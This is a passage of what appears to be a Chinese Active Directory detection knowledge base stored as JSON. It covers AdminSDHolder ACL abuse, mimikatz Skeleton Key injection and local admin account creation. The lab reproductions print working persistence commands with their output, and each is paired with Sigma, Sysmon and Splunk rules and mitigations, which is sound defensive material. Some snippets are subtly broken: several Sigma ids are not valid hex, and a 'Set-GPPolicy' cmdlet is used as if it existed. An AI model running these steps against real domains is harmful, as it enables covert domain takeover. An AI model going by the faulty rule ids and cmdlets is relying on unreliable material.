启用事件ID 4794和4624的监控，检测DSRM密码重置和登录。  \n   - 配置Sysmon监控`ntdsutil.exe`和注册表更改。  \n   - 使用EDR工具检测Mimikatz或其他PtH工具的执行。\n\n7. **定期审计**  \n   - 检查`DsrmAdminLogonBehavior`值及DSRM账户活动。  \n   - 示例PowerShell命令：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4794 } | Select-Object TimeCreated, Message\n     ```\n\n### 检测\n\n检测工作应集中在DSRM账户的异常行为上，包括：  \n- **密码重置监控**：分析事件ID 4794，检测DSRM密码更改。  \n- **登录行为监控**：检测DSRM账户的本地登录（事件ID 4624，Logon Type 2）。  \n- **注册表监控**：检查`DsrmAdminLogonBehavior`值为1或2的修改。  \n- **进程监控**：检测`ntdsutil.exe`或`mimikatz.exe`的异常执行。  \n- **威胁情报整合**：分析DSRM相关事件是否与已知攻击活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1078.001  \n  <https://attack.mitre.org/techniques/T1078/001/>  \n- 域控权限持久化之DSRM  \n  <https://www.freebuf.com/articles/system/80968.html>  \n- 巧用DSRM密码同步将域控权限持久化  \n  <https://www.uedbox.com/post/10269/>  \n- AD Security: DSRM Account  \n  <https://adsecurity.org/?p=1714>"
  },
  {
    "path": "Windows/05持久化/T1098-Win-AdminSDHolder.md",
    "content": "# T1098-Win-AdminSDHolder\n\n## 描述\n\n攻击者通过账户操作技术维持对目标环境的凭据或特定权限级别的持久化访问（T1098）。AdminSDHolder是Active Directory（AD）中的一个特殊容器（`CN=AdminSDHolder,CN=System,DC=<domain>`），其访问控制列表（ACL）作为受保护账户和组（如Domain Admins、Enterprise Admins）的权限模板。AD的SDProp（Security Descriptor Propagator）进程每60分钟（默认）将AdminSDHolder的ACL同步到受保护对象，确保其权限一致性，防止意外修改。\n\n攻击者可通过修改AdminSDHolder的ACL，间接赋予特定用户对所有受保护账户和组的权限（如完全控制），实现域环境的持久化控制。此技术需域管理员权限，且修改会在下次SDProp运行时生效（默认60分钟）。由于AdminSDHolder的ACL更改较为罕见，检测其异常修改是关键。\n\n## 测试案例\n\nAdminSDHolder是一个特殊的AD容器，具有一些默认安全权限，用作受保护的AD账户和组的模板。\n\nActive Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组，以防止意外和无意的修改并确保对这些对象的访问是安全的。\n\n如果能够修改AdminSDHolder对象的ACL，那么修改的权限将自动应用于所有受保护的AD账户和组，这可以作为一个域环境权限维持的方法。\n\n## 检测日志\n\nWindows 安全日志\n\n## 测试复现\n\n### 完整利用过程\n\n1.枚举受保护的AD账户和组中的信息\n\n查找有价值的用户，需要确认该用户是否属于受保护的AD账户和组，排除曾经属于受保护的AD账户和组。\n\n2.向AdminSDHolder对象添加ACL\n\n例如添加用户testa对AdminSDHolder的完全访问权限。\n\n默认等待60分钟以后，testa获得对所有受保护的AD账户和组的完全访问权限。\n\n可以通过修改注册表的方式设置权限推送的间隔时间，注册表位置如下：\n\n```reg\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters,AdminSDProtectFrequency,REG_DWORD\n```\n\n例如修改成等待600秒的命令如下：\n\n```reg\nreg add hklm\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters/v AdminSDProtectFrequency /t REG_DWORD/d 600\n```\n\n参考资料：<https://blogs.technet.microsoft.com/askds/2009/05/07/five-common-questions-about-adminsdholder-and-sdprop/>\n\n**注：不建议降低默认间隔时间，因为在大型环境中可能会导致LSASS性能下降。**\n\n3.获得对整个域的控制权限\n\n(1)用户testa能够向域管理员组添加帐户。\n\n验证权限的命令如下：\n\n```powershell\nImport-Module .\\PowerView.ps1\nGet-ObjectAcl -SamAccountName \"Domain Admins\" -ResolveGUIDs | ?{$_.IdentityReference-match'xiaomi'}\n```\n\n(2)用户testa能够直接访问域控制器上的文件。\n\n### 测试过程\n\n1.查询AdminSDHolder对象的ACL\n查询AdminSDHolder对象的ACL等价于查询\"CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org\"的ACL。\n\n命令如下：\n\n```powershell\nImport-Module .\\PowerView.ps1\nGet-ObjectAcl -ADSprefix \"CN=AdminSDHolder,CN=System\"|select IdentityReference\n```\n\n**真实测试情况**\n\n```powershell\nPS C:\\Users\\Administrator\\Desktop\\mimikatz_trunk> Import-Module .\\PowerView.ps1\nPS C:\\Users\\Administrator\\Desktop\\mimikatz_trunk> Get-ObjectAcl -ADSprefix \"CN=AdminSDHolder,CN=System\"|select IdentityR\neference\n\nIdentityReference\n-----------------\nNT AUTHORITY\\Authenticated Users\nNT AUTHORITY\\SYSTEM\nBUILTIN\\Administrators\nXIAOMI\\Domain Admins\nXIAOMI\\Enterprise Admins\nEveryone\nNT AUTHORITY\\SELF\nNT AUTHORITY\\SELF\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Pre-Windows 2000 Compatible Access\nBUILTIN\\Windows Authorization Access Group\nBUILTIN\\Terminal Server License Servers\nBUILTIN\\Terminal Server License Servers\nXIAOMI\\Cert Publishers\n```\n\n2.向AdminSDHolder对象添加ACL\n\n添加用户，xiaomi的完全访问权限，命令如下：\n\n```powershell\nImport-Module .\\PowerView.ps1\nAdd-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName xiaomi -Verbose -Rights All\n```\n\n注意:本文提到的百度社区参考链接此处存在问题。是Rights不是文中提到的Right\n\n**真实测试情况**\n\n```powershell\nPS C:\\Users\\Administrator\\Desktop\\mimikatz_trunk> Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -Principal\nSamAccountName xiaomi -Verbose -Rights All\n详细信息: Get-DomainSearcher search string: LDAP://CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org\n详细信息: Get-DomainSearcher search string: LDAP://DC=xiaomi,DC=org\n详细信息: Granting principal S-1-5-21-3576461989-1381017913-248049510-1104 'All' on\nCN=AdminSDHolder,CN=System,DC=xiaomi,DC=org\n详细信息: Granting principal S-1-5-21-3576461989-1381017913-248049510-1104 '00000000-0000-0000-0000-000000000000'\nrights on CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org\n```\n\n3.验证用户权限\n\n等待六十分钟后，执行以下命令查询用户xiaomi的权限：\n\n```powershell\nImport-Module .\\PowerView.ps1\nGet-ObjectAcl -SamAccountName \"Domain Admins\" -ResolveGUIDs | ?{$_.IdentityReference-match'xiaomi'}\nOR\nGet-ObjectAcl -SamAccountName \"Domain Admins\" -ResolveGUIDs | select IdentityReference\n```\n\n4.删除AdminSDHolder中指定用户的ACL\n\n搜索条件为\"LDAP://CN=AdminSDHolder,CN=System,DC=test,DC=com\"\n\n删除用户xiaomi的完全访问权限，命令如下（**测试执行失败**，具体原因未查）：\n\n```powershell\nRemove-DomainObjectAcl -TargetSearchBase \"LDAP://CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org\" -PrincipalIdentity xiaomi -Rights All -Verbose\n```\n\n## 测试留痕\n\nwindows安全日志\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yml\ntitle: Windows-AdminSDHolder\ndescription: Windows server 2008 R2（AD域控）\nreferences: \n    - https://github.com/infosecn1nja/AD-Attack-Defense/blob/master/README.md\n    - https://github.com/0Kee-Team/WatchAD/blob/master/modules/detect/event_log/persistence/AdminSDHolder.py\ntags: 1098\nauthor: 12306Bro\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection1:\n        EventID: 5136  #已修改目录服务对象。AdminSDHolder更改，一般用作权限维持，因为更改情况极少\n    selection2:\n        EventID: 4780  #ACL设置在管理员组成员的帐户上\n    timeframe: last 1h #默认等待60分钟之后生效，具体原因可参考下面SDPROP说明\n    condition: all of them\nlevel: medium\n```\n\n\n## 建议\n\n### 缓解措施\n\n防御AdminSDHolder滥用需从权限控制、配置加固和监控入手：\n\n1. **限制AdminSDHolder访问**  \n   - 确保仅Domain Admins和Enterprise Admins能修改AdminSDHolder ACL。  \n   - 使用AD权限审计工具（如ADAudit）检查ACL配置。\n\n2. **最小化管理员权限**  \n   - 遵循最小权限原则，限制域管理员账户的使用。  \n   - 配置组策略限制非必要用户的DC访问：\n     ```powershell\n     Set-GPPolicy -Name \"Deny DC Access\" -Path \"Computer Configuration\\Policies\\Windows Settings\\Deny log on locally\"\n     ```\n\n3. **凭据保护**  \n   - 启用多因素认证（MFA）保护域管理员账户。  \n   - 使用受限管理员模式减少凭据暴露。\n\n4. **日志和监控**  \n   - 启用事件ID 5136和4780的监控，检测AdminSDHolder ACL修改。  \n   - 配置Sysmon监控`powershell.exe`及注册表更改。  \n   - 使用EDR工具检测PowerView或其他AD攻击工具。\n\n5. **定期审计**  \n   - 检查AdminSDHolder ACL及受保护对象的权限。  \n   - 示例PowerShell命令：\n     ```powershell\n     Get-Acl -Path \"AD:\\CN=AdminSDHolder,CN=System,DC=xiaomi,DC=org\" | Format-List\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1098  \n  <https://attack.mitre.org/techniques/T1098/>  \n- 域渗透——AdminSDHolder  \n  <https://anquan.baidu.com/article/877>  \n- PowerView  \n  <https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>  \n- SDPROP说明  \n  <https://xz.aliyun.com/t/7276>  \n- AD Attack Defense  \n  <https://github.com/infosecn1nja/AD-Attack-Defense>  \n- WatchAD AdminSDHolder Detection  \n  <https://github.com/0Kee-Team/WatchAD/blob/master/modules/detect/event_log/persistence/AdminSDHolder.py>\n"
  },
  {
    "path": "Windows/05持久化/T1098-Win-万能密码.md",
    "content": "# T1098-Win-万能密码（Skeleton Key）\n\n## 描述\n\n攻击者可能通过账户操作技术（如修改凭据或权限）维持对目标环境的持久化访问（T1098）。Skeleton Key（万能密码）是一种高级持久化技术，通过在域控制器（DC）上注入恶意代码，允许攻击者使用统一密码（如“mimikatz”）以任意域用户身份通过身份验证，而无需知道其真实凭据。此技术通常利用Mimikatz的`misc::skeleton`模块，修改DC的Kerberos密钥分发中心（KDC）功能，植入伪造的加密密钥（RC4），为域内所有账户添加“万能密码”。\n\nSkeleton Key的隐蔽性极高，因为它不更改账户密码，仅在验证过程中拦截并伪造成功响应，适用于Windows Server 2008 R2、2012 R2等环境。攻击者需具备DC管理员权限以实施注入，但成功后可通过普通域用户身份使用万能密码访问高权限资源（如DC的C$共享）。检测重点在于监控异常的KDC行为、Mimikatz执行及多事件关联分析。\n\n## 测试案例\n\n使用Mimikatz的`misc::skeleton`模块在DC上植入Skeleton Key，为域内所有账户添加默认密码“mimikatz”，实现持久化权限维持。攻击者随后可使用任意域用户身份结合该密码访问域资源。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4611**：受信任的登录进程在本地安全机构注册，可能涉及Mimikatz的权限提升。  \n- **事件ID 4673**：调用敏感权限的服务，可能与Mimikatz的`privilege::debug`相关。  \n- **事件ID 4688**：新进程创建，记录Mimikatz或相关进程的执行。  \n- **事件ID 4689**：进程退出，记录Mimikatz进程终止。  \n- **事件ID 4624**：账户登录，检测异常的域用户登录（如低权限用户访问DC）。  \n\n**Sysmon日志**  \n- **事件ID 1**：进程创建，记录`mimikatz.exe`或异常进程的执行。  \n- **事件ID 3**：网络连接，可能涉及Skeleton Key后的远程访问（如SMB）。  \n- **事件ID 7**：DLL加载，检测Mimikatz加载的异常DLL。\n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程、网络和DLL加载监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2008 R2或2012 R2（域控制器），域名为`xiaomi.org`。  \n- **权限**：DC管理员权限（步骤2），普通域用户权限（步骤1、3）。  \n- **工具**：Mimikatz（x64版本），域用户账户（如`xiaomi`）。  \n- **日志**：启用Windows安全日志和Sysmon。\n\n### 步骤1（PC上执行，普通域用户权限）\n验证普通域用户无法访问DC的C$共享：\n```dos\nC:\\Users\\xiaomi>dir \\\\dc.xiaomi.org\\c$\n拒绝访问。\n\nC:\\Users\\xiaomi>net use \\\\dc.xiaomi.org\\ipc$ \"admin.098\" /user:xiaomi\\administrator\n命令成功完成。\n\nC:\\Users\\xiaomi>dir \\\\dc.xiaomi.org\\c$\n驱动器 \\\\dc.xiaomi.org\\c$ 中的卷没有标签。\n卷的序列号是 50E9-7D0C\n\n\\\\dc.xiaomi.org\\c$ 的目录\n2009/07/14  11:20    <DIR>          PerfLogs\n2020/03/23  15:24    <DIR>          Program Files\n2020/03/23  15:24    <DIR>          Program Files (x86)\n2020/03/23  14:47    <DIR>          Users\n2020/03/23  15:30    <DIR>          Windows\n               0 个文件              0 字节\n               5 个目录 32,728,838,144 可用字节\n\nC:\\Users\\xiaomi>net use\n状态       本地        远程                      网络\n-------------------------------------------------------------------------------\nOK                     \\\\dc.xiaomi.org\\ipc$      Microsoft Windows Network\n命令成功完成。\n\nC:\\Users\\xiaomi>net use \\\\dc.xiaomi.org\\ipc$ /del /y\n\\\\dc.xiaomi.org\\ipc$ 已经删除。\n\nC:\\Users\\xiaomi>net use\n列表是空的。\n```\n\n### 步骤2（DC上执行，管理员权限）\n在DC上运行Mimikatz植入Skeleton Key：\n```dos\nC:\\Users\\Administrator\\Desktop\\mimikatz_trunk\\x64>mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit\n\n  .#####.   mimikatz 2.1.1 (x64) built on Apr  9 2017 23:24:20\n .## ^ ##.  \"A La Vie, A L'Amour\"\n ## / \\ ##  /* * *\n ## \\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)\n  '#####'                                     with 21 modules * * */\n\nmimikatz(commandline) # privilege::debug\nPrivilege '20' OK\n\nmimikatz(commandline) # misc::skeleton\n[KDC] data\n[KDC] struct\n[KDC] keys patch OK\n[RC4] functions\n[RC4] init patch OK\n[RC4] decrypt patch OK\n\nmimikatz(commandline) # exit\nBye!\n```\n\n**结果**：Skeleton Key注入成功，域内所有账户添加默认密码“mimikatz”。\n\n### 步骤3（PC上执行，普通域用户权限）\n使用Skeleton Key以管理员身份访问DC：\n```dos\nC:\\Users\\xiaomi>net use \\\\dc.xiaomi.org\\ipc$ \"mimikatz\" /user:xiaomi\\administrator\n命令成功完成。\n\nC:\\Users\\xiaomi>dir \\\\dc.xiaomi.org\\c$\n驱动器 \\\\dc.xiaomi.org\\c$ 中的卷没有标签。\n卷的序列号是 50E9-7D0C\n\n\\\\dc.xiaomi.org\\c$ 的目录\n2009/07/14  11:20    <DIR>          PerfLogs\n2020/03/23  15:24    <DIR>          Program Files\n2020/03/23  15:24    <DIR>          Program Files (x86)\n2020/03/23  14:47    <DIR>          Users\n2020/03/23  15:30    <DIR>          Windows\n               0 个文件              0 字节\n               5 个目录 32,758,198,272 可用字节\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4611）**：\n  ```plaintext\n  EventID: 4611\n  Description: A trusted logon process has registered with the Local Security Authority.\n  Process Name: C:\\Users\\Administrator\\Desktop\\mimikatz_trunk\\x64\\mimikatz.exe\n  ```\n- **Windows安全日志（事件ID 4673）**：\n  ```plaintext\n  EventID: 4673\n  Description: A privileged service was called.\n  Account Name: Administrator\n  Service Name: SeDebugPrivilege\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Users\\Administrator\\Desktop\\mimikatz_trunk\\x64\\mimikatz.exe\n  Process Command Line: mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  ```\n- **Windows安全日志（事件ID 4624）**：\n  ```plaintext\n  EventID: 4624\n  Account Name: administrator\n  Account Domain: xiaomi\n  Logon Type: 3 (Network)\n  Workstation Name: <Client-PC>\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过多事件关联分析，检测Skeleton Key的注入及滥用行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控事件ID 4611，检测Mimikatz等工具注册受信任登录进程。  \n   - 监控事件ID 4673，检测`SeDebugPrivilege`等敏感权限调用。  \n   - 监控事件ID 4688，检测`mimikatz.exe`或异常进程的执行。  \n   - 监控事件ID 4624，检测低权限用户以高权限账户（如`administrator`）进行网络登录。  \n   - 使用Sysmon事件ID 7，检测Mimikatz加载的异常DLL。\n\n2. **Sigma规则**：\n   ```yaml\n   title: Skeleton Key注入检测\n   id: b0c1d2e3-f4g5-6789-hijk-lmnopqrstuvw\n   status: experimental\n   description: 检测Mimikatz的misc::skeleton模块执行，可能表明Skeleton Key注入\n   references:\n     - https://attack.mitre.org/techniques/T1098/\n     - https://0xsp.com/ad-attack-or-defense/ad-ttps-list\n   tags:\n     - attack.persistence\n     - attack.t1098\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID:\n         - 4611 # 受信任登录进程注册\n         - 4673 # 敏感权限调用\n         - 4688 # 新进程创建\n         - 4689 # 进程退出\n       ProcessName|contains: 'mimikatz'\n       CommandLine|contains: 'misc::skeleton'\n     timeframe: 5s\n     condition: selection\n   fields:\n     - ProcessName\n     - CommandLine\n     - AccountName\n   falsepositives:\n     - 合法的安全测试工具使用\n   level: high\n   ```\n\n3. **Sysmon规则**：\n   ```yaml\n   title: Mimikatz或异常进程检测\n   id: c1d2e3f4-g5h6-7890-ijkl-mnopqrstuvwx\n   status: experimental\n   description: 检测Mimikatz或其他异常进程的执行\n   logsource:\n     product: windows\n     category: process_creation\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\mimikatz.exe'\n       CommandLine|contains:\n         - 'privilege::debug'\n         - 'misc::skeleton'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n   falsepositives:\n     - 安全研究或测试\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测Mimikatz执行及异常登录。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" (EventCode=4611 OR EventCode=4673 OR EventCode=4688 ProcessName=\"*mimikatz*\" CommandLine=\"*skeleton*\") OR (EventCode=4624 LogonType=3 AccountName=\"administrator\") | stats count by EventCode, AccountName, ProcessName, CommandLine, ComputerName\n     ```\n\n5. **威胁情报整合**：\n   - 检查Mimikatz执行的进程、文件哈希或网络行为，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御Skeleton Key需从权限控制、系统加固和监控入手：\n\n1. **限制管理员权限**  \n   - 最小化DC管理员账户的使用，采用最低权限原则。  \n   - 使用组策略限制非必要用户的DC访问：\n     ```powershell\n     Set-GPPolicy -Name \"Deny DC Access\" -Path \"Computer Configuration\\Policies\\Windows Settings\\Deny log on to\"\n     ```\n\n2. **加强KDC保护**  \n   - 启用Kerberos限制，防止未授权的KDC修改。  \n   - 配置组策略：`计算机配置 > 策略 > Windows设置 > 安全设置 > 帐户策略 > Kerberos策略`。\n\n3. **凭据保护**  \n   - 启用多因素认证（MFA）保护域管理员账户。  \n   - 使用受限管理员模式减少凭据暴露。\n\n4. **日志和监控**  \n   - 启用事件ID 4611、4673、4688和4624的监控，检测Mimikatz及Skeleton Key行为。  \n   - 配置Sysmon监控`mimikatz.exe`及异常DLL加载。  \n   - 使用EDR工具检测KDC异常或PtH攻击。\n\n### 检测\n\n检测工作应集中在Skeleton Key的注入及滥用行为：  \n- **进程监控**：检测`mimikatz.exe`及`misc::skeleton`命令的执行。  \n- **权限调用监控**：分析事件ID 4673，检测`SeDebugPrivilege`使用。  \n- **登录行为监控**：检测低权限用户以高权限账户（如`administrator`）登录DC。  \n- **多事件关联**：结合事件ID 4611、4673、4688和4624，识别Skeleton Key模式。  \n- **威胁情报整合**：分析Mimikatz相关行为是否与已知攻击活动匹配。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1098  \n  <https://attack.mitre.org/techniques/T1098/>  \n- AD TTPs List  \n  <https://0xsp.com/ad-attack-or-defense/ad-ttps-list>  \n- 域控权限持久化之Skeleton Key  \n  <https://www.freebuf.com/articles/system/80968.html>"
  },
  {
    "path": "Windows/05持久化/T1098-Win-账户操作.md",
    "content": "# T1098-Win-账户操作\n\n## 描述\n\n攻击者通过账户操作技术维持对目标环境的凭据或特定权限级别的持久化访问（T1098）。账户操作包括但不限于修改权限、更改凭据、添加或移除权限组、修改账户设置（如启用/禁用账户）或篡改身份验证机制（如Skeleton Key）。这些操作需攻击者已具备系统或域的足够权限，通常通过提权（T1068）或凭据窃取（T1003）获得。\n\n常见账户操作包括创建新账户、修改现有账户密码、将账户添加到高权限组（如Administrators或Domain Admins）或启用禁用账户。攻击者可能使用Windows内置工具（如`net.exe`、`powershell.exe`）或第三方工具（如Mimikatz）执行操作。检测重点在于监控账户创建、修改及异常权限分配的日志事件。\n\n## 测试案例\n\n1. **创建本地账户**  \n   使用`net.exe`创建新本地用户，赋予管理员权限。  \n2. **修改账户密码**  \n   使用`net user`或PowerShell更改现有账户密码。  \n3. **添加账户到高权限组**  \n   使用`net localgroup`或`Add-ADGroupMember`将用户添加到Administrators或Domain Admins组。  \n4. **启用禁用账户**  \n   使用`net user`或PowerShell启用/禁用账户。  \n5. **Skeleton Key注入**  \n   使用Mimikatz的`misc::skeleton`模块为域账户添加万能密码（参考T1098-Win-Skeleton-Key）。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4720**：账户创建。  \n- **事件ID 4722**：账户启用。  \n- **事件ID 4724**：账户密码重置尝试。  \n- **事件ID 4732**：账户添加到安全组。  \n- **事件ID 4740**：账户锁定。  \n- **事件ID 4688**：进程创建，记录执行账户操作的工具（如`net.exe`）。  \n- **事件ID 4624**：账户登录，检测新创建账户的首次登录。\n\n**Sysmon日志**  \n- **事件ID 1**：进程创建，记录`net.exe`、`powershell.exe`或`mimikatz.exe`的执行及命令行参数。  \n- **事件ID 13**：注册表修改，可能涉及账户设置或权限更改。  \n\n**配置日志记录**  \n- 启用账户管理审核：`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 帐户管理 > 审核用户帐户管理`。  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 部署Sysmon以增强进程和注册表监控。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows Server 2012+或Windows 10，域或本地环境。  \n- **权限**：本地管理员或域管理员权限。  \n- **日志**：启用Windows安全日志和Sysmon。  \n\n### 攻击步骤\n1. **创建本地账户**  \n   以管理员权限运行CMD，创建用户`test321`：\n   ```dos\n   net user test321 Test.321 /add\n   ```\n\n2. **添加到管理员组**  \n   将`test321`添加到Administrators组：\n   ```dos\n   net localgroup Administrators test321 /add\n   ```\n\n3. **验证结果**  \n   - 检查账户创建：\n     ```dos\n     net user test321\n     ```\n   - 检查日志：  \n     - **Windows安全日志（事件ID 4720）**：\n       ```plaintext\n       EventID: 4720\n       Account Name: test321\n       Account Domain: JACKMA\n       Security ID: S-1-5-21-...-1001\n       ```\n     - **Sysmon日志（事件ID 1）**：\n       ```plaintext\n       EventID: 1\n       Image: C:\\Windows\\System32\\net.exe\n       CommandLine: net user test321 Test.321 /add\n       ParentImage: C:\\Windows\\System32\\cmd.exe\n       User: JACKMA\\Administrator\n       IntegrityLevel: High\n       ```\n     - **Windows安全日志（事件ID 4732）**：\n       ```plaintext\n       EventID: 4732\n       Member Account Name: test321\n       Group Name: Administrators\n       Group Domain: JACKMA\n       ```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n- **Windows安全日志（事件ID 4720）**：\n  ```plaintext\n  EventID: 4720\n  Account Name: test321\n  Account Domain: JACKMA\n  Security ID: S-1-5-21-...-1001\n  ```\n- **Windows安全日志（事件ID 4732）**：\n  ```plaintext\n  EventID: 4732\n  Member Account Name: test321\n  Group Name: Administrators\n  Group Domain: JACKMA\n  ```\n- **Sysmon日志（事件ID 1）**：\n  ```plaintext\n  EventID: 1\n  Image: C:\\Windows\\System32\\net.exe\n  CommandLine: net user test321 Test.321 /add\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: JACKMA\\Administrator\n  IntegrityLevel: High\n  ```\n- **Windows安全日志（事件ID 4688）**：\n  ```plaintext\n  EventID: 4688\n  New Process ID: 0x1234\n  New Process Name: C:\\Windows\\System32\\net.exe\n  Process Command Line: net user test321 Test.321 /add\n  Creator Process Name: C:\\Windows\\System32\\cmd.exe\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Windows安全日志和Sysmon日志，检测账户创建、修改及权限变更行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控事件ID 4720、4722、4724和4732，检测账户创建、启用、密码重置及组成员变更。  \n   - 监控事件ID 4688或Sysmon事件ID 1，检测`net.exe`、`net1.exe`、`powershell.exe`的异常命令行参数（如`user /add`、`localgroup`）。  \n   - 监控事件ID 4624，检测新账户的首次登录或异常高权限登录。\n\n2. **Sigma规则**：\n   ```yaml\n   title: Net.exe执行账户操作\n   id: f2g3h4i5-j6k7-8901-lmno-pqrstuvwxyz12\n   status: stable\n   description: 检测通过net.exe或net1.exe执行的账户创建或修改操作\n   references:\n     - https://attack.mitre.org/techniques/T1098/\n   tags:\n     - attack.persistence\n     - attack.t1098\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       EventID:\n         - 4688 # Windows安全日志\n         - 1    # Sysmon日志\n       Image|endswith:\n         - '\\net.exe'\n         - '\\net1.exe'\n       CommandLine|contains|all:\n         - 'user'\n         - '/add'\n     condition: selection\n   fields:\n     - ComputerName\n     - User\n     - CommandLine\n   falsepositives:\n     - 合法的用户创建操作\n     - 管理员维护任务\n   level: medium\n   ```\n\n3. **Sysmon规则**：\n   ```yaml\n   title: 账户操作相关进程检测\n   id: g3h4i5j6-k7l8-9012-mnop-qrstuvwxyz34\n   status: experimental\n   description: 检测net.exe或powershell.exe执行的账户操作\n   author: Grok\n   date: 2025/06/07\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection_net:\n       EventID: 1\n       Image|endswith:\n         - '\\net.exe'\n         - '\\net1.exe'\n       CommandLine|contains:\n         - 'user /add'\n         - 'localgroup /add'\n     selection_ps:\n       EventID: 1\n       Image|endswith: '\\powershell.exe'\n       CommandLine|contains:\n         - 'New-LocalUser'\n         - 'Add-LocalGroupMember'\n     condition: selection_net or selection_ps\n   fields:\n     - Image\n     - CommandLine\n     - User\n   falsepositives:\n     - 合法的账户管理脚本\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测账户操作相关事件。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" EventCode IN (4720,4722,4724,4732,4688) ProcessName IN (\"*net.exe\",\"*net1.exe\") CommandLine IN (\"*user*add*\",\"*localgroup*add*\") | stats count by EventCode, AccountName, ProcessName, CommandLine, ComputerName\n     ```\n\n5. **账户事件监控**：\n   - 监控账户创建和组成员变更。\n   - 示例PowerShell查询：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -in @(4720,4732) } | Select-Object TimeCreated, @{Name=\"Message\";Expression={$_.Message}}\n     ```\n\n6. **威胁情报整合**：\n   - 检查账户操作相关进程（如`mimikatz.exe`）或命令的哈希值，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御账户操作需从权限控制、系统加固和监控入手：\n\n1. **限制管理员权限**  \n   - 遵循最小权限原则，限制用户对账户管理的访问。  \n   - 使用组策略限制非必要账户的管理员权限：\n     ```powershell\n     Set-GPPolicy -Name \"Restrict Admin Access\" -Path \"Computer Configuration\\Policies\\Windows Settings\\Deny log on locally\"\n     ```\n\n2. **加强账户管理**  \n   - 定期审计本地和域账户，移除不必要的管理员账户。  \n   - 示例PowerShell命令：\n     ```powershell\n     Get-LocalUser | Where-Object { $_.Enabled -eq $true } | Select-Object Name, SID\n     ```\n\n3. **网络访问控制**  \n   - 限制DC的SMB和RDP访问，仅允许白名单IP。  \n   - 示例防火墙规则：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block DC SMB\" -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block\n     ```\n\n4. **凭据保护**  \n   - 启用多因素认证（MFA）保护高权限账户。  \n   - 使用受限管理员模式减少凭据暴露。\n\n5. **日志和监控**  \n   - 启用事件ID 4720、4722、4724、4732和4688的监控，检测账户操作。  \n   - 配置Sysmon监控`net.exe`、`powershell.exe`及异常命令行。  \n   - 使用EDR工具检测Mimikatz或其他账户操作工具。\n\n6. **定期审计**  \n   - 检查账户和组成员变更，识别异常操作。  \n   - 示例PowerShell命令：\n     ```powershell\n     Get-ADUser -Filter * -Properties LastLogonDate | Where-Object { $_.Enabled -eq $true } | Select-Object Name, LastLogonDate\n     ```\n\n### 检测\n\n检测工作应集中在账户操作行为：  \n- **账户事件监控**：分析事件ID 4720、4722、4724和4732，检测账户创建、启用和权限变更。  \n- 